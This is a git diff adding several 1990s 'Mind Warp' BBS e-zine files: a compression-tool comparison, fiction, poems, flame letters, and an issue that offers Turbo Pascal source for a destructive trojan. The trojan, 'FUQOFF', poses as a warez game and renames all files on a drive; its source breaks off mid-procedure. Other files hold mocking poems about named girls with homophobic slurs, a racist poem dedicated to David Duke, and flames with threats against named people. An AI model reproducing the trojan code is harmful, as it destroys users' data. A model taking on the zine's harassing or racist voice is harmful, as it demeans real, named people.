FileName Size Type + ------------ ------- ----------------- + SCANDISK.EXE 124,262 Executable + GENERIC1.TXT 86,303 Ascii Text File + TESLA-02.GIF 63,885 GiF Graphics File + +The files were then compressed using the three compression utilites keeping +the same filename, with a new extension. (ie. .ZIP, .ARJ, or .LZH.) + +Data + Results. + +FileName Compression Name Original Size Compressed Size Rank +------------- ---------------- ------------- --------------- ---- +SCANDISK.EXE SCANDISK.ZIP 124,262 120,715 #3 +SCANDISK.EXE SCANDISK.ARJ 124,262 120,696 #2 +SCANDISK.EXE SCANDISK.LZH 124,262 120,666 #1 +------------- ---------------- ------------- --------------- ---- +GENERIC1.TXT GENERIC1.ZIP 86,303 31,716 #1 +GENERIC1.TXT GENERIC1.ARJ 86,303 31,925 #2 +GENERIC1.TXT GENERIC1.LZH 86,303 33,517 #3 +------------- ---------------- ------------- --------------- ---- +TESLA-02.GIF TESLA-02.ZIP 63,885 63,775 #1 +TESLA-02.GIF TESLA-02.ARJ 63,885 63,911 #3 +TESLA-02.GIF TESLA-02.LZH 63,885 63,834 #2 +------------- ---------------- ------------- --------------- ---- + +Conclusion + + The data shows that not all the compression utilites work the same +on certain files. For executables (.EXE), Lharc is clearly the utility +to use. For ascii text (.TXT), and for graphics files such as GiF (.GIF), +PkZip should be used. Arj never placed 1st in any of the trials, but one +would note that Arj actually increased the file size when attempting to +compress the Gif file. All in all, either PkZip or Lharc are recommended for +use in the compression field. Both have excellent help available, and are +well documented. Keep in mind however, that these are not the ONLY +compression programs available for the pc user. Not mentioned in this +article were such compression utilites as .ZOO, and .UC2. + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-063.txt b/textfiles.com/magazines/MINDWARP/mw-063.txt new file mode 100644 index 00000000..8a7765bc --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-063.txt @@ -0,0 +1,113 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #08, File #063 ] + [ "Midnight Blues - 1st Solo" by Dark Horse ] + +------------------------------------------------------------------------------ + Midnight Blues - 1st Solo + [Dark Horse] +------------------------------------------------------------------------------ + +Smoky cafes. I always loved those smoky, empty cafes that canvas Europe and +congregate boisterously at every plaza, especially Pedante, in the heart of +Paris, fenced in on three sides by plaza and boulevard, where I spent every +evening of the best summer of my life. By July I had a "table of my own," +where at six every evening I would dream over coffee and pastries, enchanted +with life and Paris and living the prototypical dream of the Young American +Traveler. From my table I could see the small plaza, nothing spectacular in +the scheme of the glory that is Paris, but my own special spot in a way, my +own little corner of the city and my own ancient bronze statue complete with +fountain. There were others who worked day in and day out by the fountain, +but it was my own in that back home no one would have remembered it like me, +back home no one would have even know it was there. The Lourve is public, +but this, this was my own private postcard memory to snatch and savor forever. +One day near the end of July a soft rain drizzled down onto the plaza and +into my hair and into my coffee. I was a poet then, and over my coffee that +summer I scribbled lofty words in tattered notebooks, but in that silky rain +that clung to my hair and cooled my face I realized how much I hated those +words, each and every one, indivitually and totally to the depths of my soul. +They were so empty, false, contrived, idealized. One word or a million can +not sum up an instant of human thought, no matter how elegant or exquisite. +The absolute spiritual power and glory of that misty rain in the gray plaza +in Paris put all my tender thoughts into perspective: how could one +communicate in a million pages the beauty of the momentary glance, meeting +yours, of a girl who quickly passes out of sight but lingers in the mind for +days? Of course there have been words smiths, such as Kerouac, Cooleridge, +Poe, prose painters who could weave a story into a net of words so beautiful +and enthralling you would never want to escape its grasp, but no one, and +especially not me, then, could capture a full second of life on paper. +*** + They say you're not supposed to eat apple seeds - natural arsenic they + say, like it'll kill you or something. +*** + So there I was in that cold dark morning, basking in the twilight that + precedes any sign of sun, just sitting there on my front porch + (and may I remark how cold it happened to be - fifty seven degrees as + it turned out to be - compared to the warm night before when slick + seventy degree air floated around me like fog-and-a-lighthouse) crouched + against the door, that air chilly and prickly like grass (but inside let + me tell you I knew it was pretty warm as far as nights go since i've seen + some pretty cold ones in my day and some days it doesnt get up to fifty + in the DAY even so I was right thankfull for my warm summer night that + morning) and me there waiting for nothing and digging everything (and + digging for those not aquainted with the hipster slang of the fiftys and + sixties and, gentle reader I make no accusation that that you are less + than hip to it all, but just for the benefit and common understanding of + all that peruse this sacred text digging means to some the complete and + utter understanding and agreement with whatever you may happen to "dig", + and this is not to say that there are not other deffinitions, but this is + all you need to know for now), just digging it all and soaking myself in + existence. + +*** + + I doubt, as things stand, that I'll ever become a writer. I have a + decent vocabulary and a grasp of grammar and every other bit of + information needed in one's mind to write. I have nothing to write + about. I have no devils to exorcise. Without something unresolved + within the writer a story is nothing but just that, a story. Basic Plot + plus Frills here and there. William S. Burroughs would never have + become a writer without the aid of the "ugly spirit" (that entered + him the night he killed his wife in a bizarre william tell act and did + not leave him for decades)(The Native American medicine man who exorcised + the demon called it "One of the toughest" he had ever been up against.) + + I have no such spirit to battle with words. Just a silly little life, + short, with a few ups and downs. I'm basically satisfied with + everything, and that presents a problem: I live a life much without + yearnings and dreams. +*** + The sea was tired that night, and the air empty-smelling. No salt, no + nothing in the air but emptiness. It was impossible even to breathe + enough, the air was so thin and vacant. + Jim played with a rock in the moonlight. The rock was round and light, + shaped roughly like a triangle: an excellent skipping stone. Everything + in his life had skipped out on him, his father, his girl, his dreams of + college, and he was left with nothing but a backpack and a barren bit of + beach, warm and shaded and invisible from the shore where grumpy young + cops patrolled for hours for bums and lunatics (who are the rightful + owners of the sea) to keep the place safe for tourists. + Every night until four or so crazy teens, drunk on freedom and security, + would roam the beach playing guitars and lighting fireworks and drinking + beer. They would finally collapse, tired and wasted, and emerge fresh + and giggly the next morning. Jim took notes on them each night, long + sad descriptions of the color, curves, and character of each one, the + indescribable intricacies of their speech and style. It would be his + first great novel someday and take him away from the beach and into a + dry house and to everything else those kids had and that he remembered + from his youth. + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-064.txt b/textfiles.com/magazines/MINDWARP/mw-064.txt new file mode 100644 index 00000000..aec13e48 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-064.txt @@ -0,0 +1,298 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #09, File #064 ] + "Smurfs & Chicks " by Mustaine & Friends ] + +------------------------------------------------------------------------------ + Smurfs & Chicks + [Mustaine & Friends] +------------------------------------------------------------------------------ + + A few days ago I was showing my girlfriend some of my old yearbooks +dating all the way back to junior high, and I just happened to fall across +some really old ode's and poems that my friends and I did when we were amist +an 8th grade literature class. (Of course, all of the ones *I* am going to +show you fans will be the ones we either did outside of class, or the ones +we got in *real* big trouble for :) I also added one to my new girlfriend, +Meg Quinlan, and you will find that towards the bottom. + + These first few are from a friend of mine who is currently enrolled in +acting school somewhere. Hope your having fun Eric. + + * Ode to a Twinkee * + (Eric Verfuerth 03/23/90) + + Oh twinkee mystic munchable + by what means arcane or chemical + A question that bothers me quite a little + how did they get that white goop in your middle + is it done with spoons + or squished in by overweight baboons + is it done with white goop spray + or are you simply made that way + is it done with radiation + or a magic incantation + is it done with osmosis + or by a guy named Jeblosis + so tell me twinkee if you care + how does that white goop get in there? + + * Ode to a Smurf * + (Eric Verfuerth 03/23/90) + + One day as I walked across the land + as I glanced down at earth and sand + and lookin down at that green turf + I swear to you I saw a smurf + his skin was blue his pants were white + I backed away for fear he may bite + I felt it safe so down I did sit + and wondered what to do with it + perhaps I'd take it to a side show + or maybe I'd just let it go + but if tis true what I've been told + a man could turn a smurf to gold + and as in thought I did lay + I heard the little creature say + "Come down to the ground + so you will hear my voices sound" + and as I crouched down near + that bugger bit me on the ear + then off he hopped + and didn't stop + till out of sight he dropped + and so let me warn you in my words of wit + if you see that smurf please step on it + + * Ode to Math * + (Eric Verfuerth 03/23/90) + + Of all the evil things to cross my path + the one I hate the most is math + for math it is an awful class + one I fear I may not pass + with all it's bothersome equations + each adding to my frustrations + it fills my eyes with sobbing tears + as I have to take it for three more years + and that class is so very dull + it often bores me out my skull + so hear me now as I shout + can someone please get me out + of that terrible math class + the one I fear I may not pass + + * Ode to English Teachers * + (Eric Verfuerth 03/23/90) + + In my time I have seen many vile creatures + but the worst are the deadly english teachers + they live in classrooms that look like caves + and treat poor students as slaves + and in the deungeon they have tortures of every sort + including the dreaded book report + and though you may plead to get out + they are ignorant of your shout + and all at which they want to look + are sentences in your vocab book + and above the students wail + you hear them screaming "you fail" + and as I sit here I have a feeling + when my teacher reads this she'll hit the ceiling + + * Ode to Slasher Films * + (Eric Verfuerth 03/20/90) + + One day as I sat in a bore + I felt the need to see some gore + so off to erols I went + for money would soon be spent + on blood and guts + and psychotic nuts + and to get all this for two fifty + well that would be real nifty + so I went to the horror section + and started to make my selection + nightmare on elm street part ten + Freddy is back to kill again + friday the 13th part nine / Jason goes to Mars + Siscal and Ebert gave it two stars + so I got the one that scared me out of my mind + when they showed the monster tear and grind + all the kids at some high school + + ------------------------------------------------------------------------- + + That's some pretty cool stuff eh? Well, sit back and relax, because + I have some friends that wrote some *other* k-spiff stuff. Check out some + 'love/hate' letter by my two old pals John Carlson and Micheal Wagner. + As you will guess, they were in love with this two girls...funny how + 8th graders showed affection.. + ------------------------------------------------------------------------- + + * Missy Wade * + (anonymous ??/??/90) + + She has long string hair, + Tangled with knots. + Shoes riddled with tears, + And dirt, there is lots. + + Her face is quite homely. + Her eyes, ugly pools. + Her smile is tombly. + And her acme rules. + + Her voice is the same, + So whiney it is. + It drives me insane. + She is such a dizz! + + Her legs are but twigs. + Her hands skinny claws. + Her body's a pig's. + She breaks all starvation laws. + + She thinks she can write, + Boy is she dumb! + Each story's a plight, + Each story is scum. + + This is the true tale, + Of Missy Wade. + She doesn't like males, + Because she is gay. + + + * Deanna Casper * + (John Carlson, Micheal Wagner ??/??/90) + + There once was this hag, + Whose name was Deanna. + She looked like a fag, + Her hair tone, bannana. + + She had many freckles, + Like warts on her face. + Her voice was a keckle. + She smelled like mace. + + Her ears protruded, + Way out from her head. + Her gross eyes secluded, + The color of lead. + + Her humongeous nose, + Pointed straight out. + Her teeth fungused rose, + Cockroaches about. + + Her legs were like tree trunks, + So thick and massive. + Her breath like a skunks, + And smelled of laxative. + + When you think of Deanna, + Mind full of piss, + Hair tone, bannana, + Just think of this: + + She had many freckles, + Like warts on her face. + Her voice was a keckle. + She smelled like mace. + + ------------------------------------------------------------------------- + Ok, here's the one dedicated to my girlfriend. I wrote it two days + *after* I originally *met* her. + ------------------------------------------------------------------------- + + Ode To The First Few Days.. + + i finally got the chance + i definitly will try to make it last + for you, i am the first + you fill me with happiness, i will burst + + i took you home to the house + true to your nature, you were quiet as a mouse + because of guests you got stuck in my bed + (hope my old head lice don't migrate to your head) + + we then woke up and tried to make breakfast + bisquick? pancakes? do a toaster waffle fast + i engrained in your head my love for honey + later i tasted some of your fingers, oh lovely... + + we then drove (with my plate) to sk00l + you'd be proud, Michelle, i didn't drool + i went (rather late) to homeshow teardown + you went to practice, oh look, no frown! + + from there that next night, i read the first note + you were lost, confused, in a mind's mote + i assured you not to worry + (blah, blah, this line rhymes with curry) + + i am now deeply in love, + your a stubborn girl, push, and shove + but with this match, don't worry instead- + look to a bright future we will hold ahead. + + ----------------------------------------------------------------------- + Um, here are some others that just needed a place to go. Enjoy, I + wrote them myself :) + ----------------------------------------------------------------------- + + (a very short) Ode to a Sneaker + + oh sneaker, you are cool + i wear you all the time, rain to drool + you take me where I want to go + you keep my feet warm in the snow + + i let you get dirty and walk around + i look at you from white, your now brown + i go to the store, and buy a new pair + i throw you away, i no longer care. + + ---------------------------------------------------------------------- + + Ode to a Keyboard + + Oh keyboard, lovely piece of metal and plastic + how I love to pound you so spastic + when I click your keys + I shiver in my knees + + i press what I want + and on the screen you do jot + all my thoughts, my words + those porn stories, those turds *(I needed something to ryhme)* + + you write filth for the zine + and my hate mail doth shine + I spill on you coffee + still you try to please me + + but I have broken you good + I haven't treated you like I should + so i go to the store + and buy from them some more + + keyboards... + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-065.txt b/textfiles.com/magazines/MINDWARP/mw-065.txt new file mode 100644 index 00000000..ed0626d0 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-065.txt @@ -0,0 +1,209 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #10, File #065 ] + [ "Misc. Poetry" by Pride ] + +------------------------------------------------------------------------------ + Misc. Poetry + [Pride] +------------------------------------------------------------------------------ + +Joseph + + +the hourglass + +beep beep + +tick +tick +tick + +"the sundial says it's..." + +they say the average human lives 75 years +that's approximately 2,365,200,000 seconds +15 of which you'll spend reading this + +tick +tick +tick + +"my appointment is at..." + +"school ends at..." + +"the show starts at..." + +tick +tick +tick + +"they say that time is the fire in which we burn" + +well, that may be the case... + +tick +tick +tick + + + +PRiDE +------------------------------------------------------------------------------ + +no difference + + +one white +one black +no difference +but one +one rich +one poor +can't you guess? + +one white +one black +no difference +but now two +one is hired +one is not +can't you guess? + +one white +one black +no difference +any more +illness claims one +war claims the other +can't you guess? +no, you can't +we are all equal + +in the end + + + +PRiDE +------------------------------------------------------------------------------ +(untitled) + + +the light of the stars filters into my room, yet i don't care +i am oblivious to all external interferences +except you + +i'm going away soon +hard to believe it's only in two years +i've know you for three, half our time is gone +where did it all go? + +tears on my pillow, on my sheets, on my shirt +will they not stop? +it's as if my eyes have a will of their own +will they not stop? + +i hope not + +the words...emotions i have never even dared to speak to you +come rolling out of my mouth + fear + jealousy + love + +real love...i hadn't know it until i said it +but i know it's true + +and i know it can never be +and there will always be a place for you here +in my heart + +but where did the time go? + +and why did the time go? + +i...don't...know... + +it's going to be hard in two years +god knows where i'll wind up +texas? california? new york? idaho? + +you will never be replaced + ...and i need you now + ...and i will need you more than ever then + + +where will i be next year? +a new place, probably +i have never done anything without you there beside me +holding my hand, wishing me luck, praying for me +i hope you understand + +i need you + +a sinking buoy out in the harbor +and you are my net +don't let me go +and i promise i'll hold on + + + + +PRiDE +------------------------------------------------------------------------------ +Utopia + (for Mr. David Duke) + + +monkeys, monkeys everywhere! +dancing all around me. +dancing, and singing; +must they be a part of my world? + +send them all back, +back to where they came from, +or else...make them my slaves +and have no one question me; +for that is how it should be. + +i agree with cosmic slop +they are a...nuisance, +that must be dealt with +before we can reach that giant step...to power. + +let them be shipped away, +away to some far-off world +and peace will reign. + +they can have their dances, +their food, +their music, +and we...we can have peace! + +why are they here? +they don't belong here +in my world. + +because i am the man +and it is my world. +i will see to it...personally. + + + +PRiDE + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-066.txt b/textfiles.com/magazines/MINDWARP/mw-066.txt new file mode 100644 index 00000000..72c78b3f --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-066.txt @@ -0,0 +1,96 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #11, File #066 ] + [ "Flame Response" by Mustaine ] + +------------------------------------------------------------------------------ + Flame Response + [Mustaine] +------------------------------------------------------------------------------ + + Well, you'd figure with my slanderous remarks that I would have recieved +a plethora of hate infested letters some time ago, but I really have not. +Instead, the only paltry remark that I recieved that could remotely be +considered akin to "hate-mail" was a small and crude remark that a little +twelve year old user (under the alias "Slayer") sent to me on the 18th of +January. So as promised, here is that letter, then a copy of that letter +with my remarks (or responses) imposed between the lines. Please enjoy, and +of course if you think you can do better, send me some stuff, and we'll +blast you! + +(* Begin Original Message ------------------------------------------------- *) + +Subj : hey +Attr : Read +To : Mustaine #1 +From : Slayer #5 +Date : Wed Jan 18 1995 08:25 am PST + +Mind Warp! rulz, keep up the good work!!!!! +Oh yeah, and here are some flames that you wanted (what did you want them 4 +again??? What did u do?? Ohwell) +Uhhm, well, since I don't feel like thinking of anything original here goez +You stupid dumb shit goddamn mother fucker!!!!!!!!!! +ok, that's enough +Slayer +P.S.What were you saying about me on some other board?? You know on Arsinist's +Arsonal you said that you were making fun of me.. What board wuz that?? +cya + +Reading E-mail (?=Menu) (10 of 21): + +(* End Original Message --------------------------------------------------- *) + + + Now for some debuttle. First off, what kind of moron sends e-mail +on a BBS with a title like "hey?" My grandmother could have formed a more +coherent title. And before I start, let me metion that your alias sucks. +Now, let's examine some of your e-mail. Firstly, my eyes fell upon this : + + Mind Warp! rulz, keep up the good work!!!!! + +Why thank you, you little piece of inflamed mucus. I appreciate any and +ALL comments. My eyes then strayed upon this : + + Oh yeah, and here are some flames that you wanted (what did you + want them 4 again??? What did u do?? Ohwell) Uhhm, well, since I + don't feel like thinking of anything original here goez + You stupid dumb shit goddamn mother fucker!!!!!!!!!! + +Okay. That was original. According to you, I am simply a "dumb sh*t goddamn +mother fucker!!!!!!!!!!!" Gee Slayer, a whole 11 exclamation marks on that +well thought out comment. Could you possibly have tried for 12? I really +think one more would have made the difference. Oh well. I guess they don't +teach proper punctuation and grammatical uses in 6th grade. (Not that I +ever use any sort of methods and means in my articles.) N-E-Ways, to get +back to my point that flame (SINGULAR) was the weakest piece of sh*t that +I have ever read. If you ever try to degrade me with such a weak and +unsupported flame ever again, I'll frickin' call your MOMMY and have your +ass spanked. Would you like me to start bustin' on you? You remember how +I tore up that lead singer for Pantera? I'll f*ckin' make you look like +a gay sperm whale if you try anything. Puke. *) + + Welpers, I really can't say much more. There really wasn't a very +big flame or anything. However I would like to thank Slayer for +participating in Mind Warp and the whole flame thing, and I would just +like you to NOT take this personally or anything...BUT...your flames SUCK! +Thanks for the attempt, and I will be looking for more from you and others in +the future! Send it all (uncut and uncensored) to mustaine@wam.umd.edu or +contact me on one of our fine support boards. + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== + + \ No newline at end of file diff --git a/textfiles.com/magazines/MINDWARP/mw-067.txt b/textfiles.com/magazines/MINDWARP/mw-067.txt new file mode 100644 index 00000000..eedfb669 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-067.txt @@ -0,0 +1,83 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #12, File #067 ] + [ "Musty Flames People #2" by Mustaine ] + +------------------------------------------------------------------------------ + Musty Flames People #2 + [mustaine] +------------------------------------------------------------------------------ + + ..ok, ok, I lied. Sorta. I am *not* going to flame Elvis this time. +I have found people much, much more worthy of my time. This time folks, I +am going to slam our very own Angst, and a l00ser known around here as +"the Lizard King" or "Phiber Optik." Before you start yelling, NO, it is +not the same Phiber Optik that is the well known hacker. + First, shall we start with Angst? As I recall, a long time ago, Angst +went to the same college as me. Unlucky me, eh? At any rate, she called +Recluse (my bbs way back when), and we started a working dialouge in e-mail +on my system. She was rather amazed with my assorted collection of zines +in my file area, and told me she had a zine that I might find interesting. +Unfortunately, the zine was on paper, and that would mean I would have to +trek somewhere to get it from her. No problem, campus only has 50,000 people +in it, and walking around all day is no big deal. Well, we finally aranged +a meeting time in between exams, and I decide to walk to the place *after* +I had eaten my lunch, so I could be five minutes early. Mind you, I had +to eat lunch on the *wrong* end of campus to meet this chick. So I get +there, and I wait. And wait. And wait. She doesn't come. Oh well. + After trekking back to my dorm, I find in my voice mail that she has +left a message that she is sick, and could not make it. Okay, I can let +that slide. I have a decent temperment. N-E-Ways, school gets out, I +hear nothing from her for like a week, and then BLAM 12:00am (at my +parent's home), the phone rings, and on it is a chimpubk sounding girl +asking for Mustaine. Can you guess who it was? At any rate, she and I +make plans to exchange the zine at the mall or something. When the time +came, my grandmother happened to fall ill, and I ended up in the hospital. +No big deal right? I think everyone can understand an illness in the family. +WRONG. This bitch writes me the meanest, nastiest, most selfish e-mail I +have ever recieved. She was PISSED! This bitch then goes on to post my +HOME PHONE number (where my parents live) on several automessages in the +301 area code. Mistake. Listen up you pudgy little bitch. If you *ever*, +and I mean *ever* try to phuck with me again I will personally find your +ass, rip up your jeep, and tie you to the bumper of a postal truck. Agh. + Now, for the Lizard King. This lamer, formally known as Tom Sikora, +but knownst to us with suck lovely alias's as "the Lizard King" and "Phiber +Optik" has the NERVE to pick the bone with me. First off, let's pick at +his alias, Phiber Optik. It is a well known fact that one of the most +famous hackers in all of computer history was known as Phiber Optik. It's +just plain desecration to take that name and give it to someone as lame +as Tom. Then, to actually flaunt it in front of *my* face, and have the +nerve to leave me e-mail with the context "no one will mind if I borrow it" +....what in the hell are you thinking bozo? Half the users on #HACK and +#HACKERS were ready to kill the boy when he logged on with that alias. +I warned him that half the 301/202/703 hackers weren't to pleased to see him +using it either. Does he listen? NO. + Not only does he have a long history of being both a PD and WAREZ leech, +but this lamer has the nerve to pose as a well known hacker. Huh??? He +even had the nerve to try to kick me off one of my favorite boards because +he didn't like me making him look bad. Too bad for him the sysop gave me +more priority. Listen up punk. It would be in your better interests to +leave BBS land forever. Pack up the modem, and sell it. No matter what +alias you hide behind, the behavior is the same. You've got an elitist +little attitude, and NO ONE LIKES YOU. You leech files, try to play god, +and piss of hundreds of users. Unlike me, who also has somewhat of an +elitist attitude at times, you have NO CLOUT. Whenever you pop up with a +new alias, (like Sting once said), "I'll be watching you." ...err...and I'll +probably be flaming you. Untill I find more people that piss me off folks, +that about raps it. Latez! + +============================================================================== + Call Omniverse, the Mind Warp WHQ - (301) 718-0225 +============================================================================== + diff --git a/textfiles.com/magazines/MINDWARP/mw-068.txt b/textfiles.com/magazines/MINDWARP/mw-068.txt new file mode 100644 index 00000000..f4cc0405 --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-068.txt @@ -0,0 +1,54 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #13, File #068 ] + [ "Where's Raven?" by Mustaine ] + +------------------------------------------------------------------------------ + Where's Raven? + [mustaine] +------------------------------------------------------------------------------ + + As most of you have probably noticed, there are no articles by the +founding editor and ex-sysop of Arsonist's Arsenal, Raven. As of 06/13/95 +Raven has moved to Houston Texas. Most likely, he will get to meet Erik +Bloodaxe (damn), and hack himself a dialout to occasionaly get back in touch +with us. Unfortunately, he has decided to let me handle the magazine from +here. Now, admittadly, I am not the easiest person to get along with, and +I myself didn't really want the responsibility of running the zine, but I +will try to keep it coming and keep the zine alive. + Raven has informed me that he will be starting a "Mind Warp! in Houston" +sister zine, which hopefull will be publishing within the next few months. +I wish him luck. Now, about our zine. + I still need more writers, even though our new Javert (PRiDE), and +Dark Horse are pulling out all stops for cool fiction and poetry. Yes, yes +I still do music and flames and programs, but I need more humourous info- +articles, etc, etc. I will try to setup a schedule, and get new volumes out +every one or two months. This will only happen if we get material to write +about. SO, I am asking for help. Check out the Index for how to get in +touch with us, and send us your stuff. I'll publish pretty much anything. +I am looking for : + + o political commentary o jokes + o sports o short fiction + o anarchy! o computer underground + o recreational news o bitchy editorials + o hate mail o Elvis sightings + o condom usage instructions o used lysol cans + o and much, much more! o in fact, anything more! + + So help us out folks, we need the support! Thanks. + +============================================================================== + Call Hell's Kitchen - (301) 989-8510 +============================================================================== diff --git a/textfiles.com/magazines/MINDWARP/mw-069.txt b/textfiles.com/magazines/MINDWARP/mw-069.txt new file mode 100644 index 00000000..8cf45bbf --- /dev/null +++ b/textfiles.com/magazines/MINDWARP/mw-069.txt @@ -0,0 +1,248 @@ + + %%% %%% %%%% %%% %% %%%%% + %%%% %%%% %% %%%% %% %% %% + %% %%% %% %% %% %% %% %% %% + %% % %% %% %% %%%% %% %% + %% %% %%%% %% %%% %%%%% + + // // //// ////// ////// // + \\ \ \\ \\ \\ \\ \\ \\ \\ \\ + // /// // //////// ////// ////// // + \\\\ \\\\ \\ \\ \\ \\ \\ + /// /// // // // // // // + + [ Mind Warp - Volume #4, Issue #14, File #069 ] + [ "huh 69 huh" by >Anonymous< ] +------------------------------------------------------------------------------ + huh 69 huh + [Anonymous] +------------------------------------------------------------------------------ + + Woo! Mind Warp! digizine has reached it's 69th issue. To commemorate +this accomplishment, and this cool number, influenza inc. has donated some +k-rad turbo pascal source code. What's it do? It phucks your computer! +SHould you run it? NO. DO NOT COMPILE THIS! DO NOT RUN THIS! IT IS +BAD! Mind Warp! is NOT responsible for this! DO NOT COME RUNNING TO US! + +(*-------------------------- CUT HERE ------------------------------------*) + +(* FUQOFF_A Source Code *) +(* Copyright (c) 1994-1995 [infleunza inc] *) +(* Distribute all you want as long as NO CHANGES are made to the original *) +(* Source Code. *) + +(* This code, once compiled and doctored with NoWhere Man's Virus Utility *) +(* package, emulates a 'warez' game that is in compressed form. *) +(* Specifically, a .LZH Executable. Once run, it begins renaming ALL *) +(* files encountered to the format FUQxxxxx.OFF until it completes the *) +(* hard drive, and then the program will spew a little message from the *) +(* [infleunza] coders. *) + +(* Currently, this version ONLY infects the C:\ drive. *) +(* Mutations include *) +(* o FUQOFF_B (Infects D:\ Drive) *) +(* o FUQOFF_C (Infects A:\ Drive) *) +(* o FUQOFF_D (Infects B:\ Drive) *) +(* o NITRO (Infects A,B,C,D, new message string *) +(* o BUHFUQ (Infects C:\, new message string *) + +uses crt,dos; + +var wha:searchrec; + done:boolean; + f:file; + cur1,cur2,numba,loop:integer; + ext:array[1..5]of char; + new:string; + s:byte; + names:array[1..60]of string; + + +procedure fillnames; +begin + names[1]:='LASTRITE.EXE'; + names[2]:='LASTRITE.DAT'; + names[3]:='LASTRITE.DOC'; + names[4]:='README.NOW'; + names[5]:='CGAPICS1.DAT'; + names[6]:='EGAPICS1.DAT'; + names[7]:='VGAPICS1.DAT'; + names[8]:='MCGAPIC1.DAT'; + names[9]:='VESAPIC1.DAT'; + names[10]:='CGAPICS2.DAT'; + names[11]:='EGAPICS2.DAT'; + names[12]:='VGAPICS2.DAT'; + names[13]:='MCGAPIC2.DAT'; + names[14]:='VESAPIC2.DAT'; + names[15]:='CGAPIC3.DAT'; + names[16]:='EGAPIC3.DAT'; + names[17]:='VGAPIC3.DAT'; + names[18]:='MCGA3.DAT'; + names[19]:='VESAPIC3.DAT'; + names[20]:='SBMUSIC.SND'; + names[21]:='ADLMUSIC.SND'; + names[22]:='INTRO.DAT'; + names[23]:='VICTORY.SCN'; + names[24]:='DEFEAT.SCN'; + names[25]:='WAVES.DAT'; + names[26]:='GAMES.DAT'; + names[27]:='ORDER.NFO'; + names[28]:='CONFIG.EXE'; + names[29]:='SETUP.EXE'; + names[30]:='3DBATTLE.BAT'; + names[31]:='CGAPICS4.DAT'; + names[32]:='EGAPICS4.DAT'; + names[33]:='VGAPICS4.DAT'; + names[34]:='MCGAPIC4.DAT'; + names[35]:='VESAPIC4.DAT'; + names[36]:='CGAPICS5.DAT'; + names[37]:='EGAPICS5.DAT'; + names[38]:='VGAPICS5.DAT'; + names[39]:='MCGAPIC5.DAT'; + names[40]:='VESAPIC5.DAT'; + names[41]:='CGAPIC6.DAT'; + names[42]:='EGAPIC6.DAT'; + names[43]:='VGAPIC6.DAT'; + names[44]:='MCGA6.DAT'; + names[45]:='VESAPIC7.DAT'; + names[46]:='CGAPICS8.DAT'; + names[47]:='EGAPICS8.DAT'; + names[48]:='VGAPICS8.DAT'; + names[49]:='MCGAPIC8.DAT'; + names[50]:='VESAPIC8.DAT'; + names[51]:='CGAPICS9.DAT'; + names[52]:='EGAPICS9.DAT'; + names[53]:='VGAPICS9.DAT'; + names[54]:='MCGAPIC9.DAT'; + names[55]:='VESAPIC9.DAT'; + names[56]:='CGAPIC10.DAT'; + names[57]:='EGAPIC10.DAT'; + names[58]:='VGAPIC10.DAT'; + names[59]:='MCGA10.DAT'; + names[60]:='VESAPC10.DAT'; + cur1:=0; + cur2:=40; +end; + +procedure stealth; +begin + if cur2=40 then begin + writeln; + cur1:=cur1+1; + if cur1=61 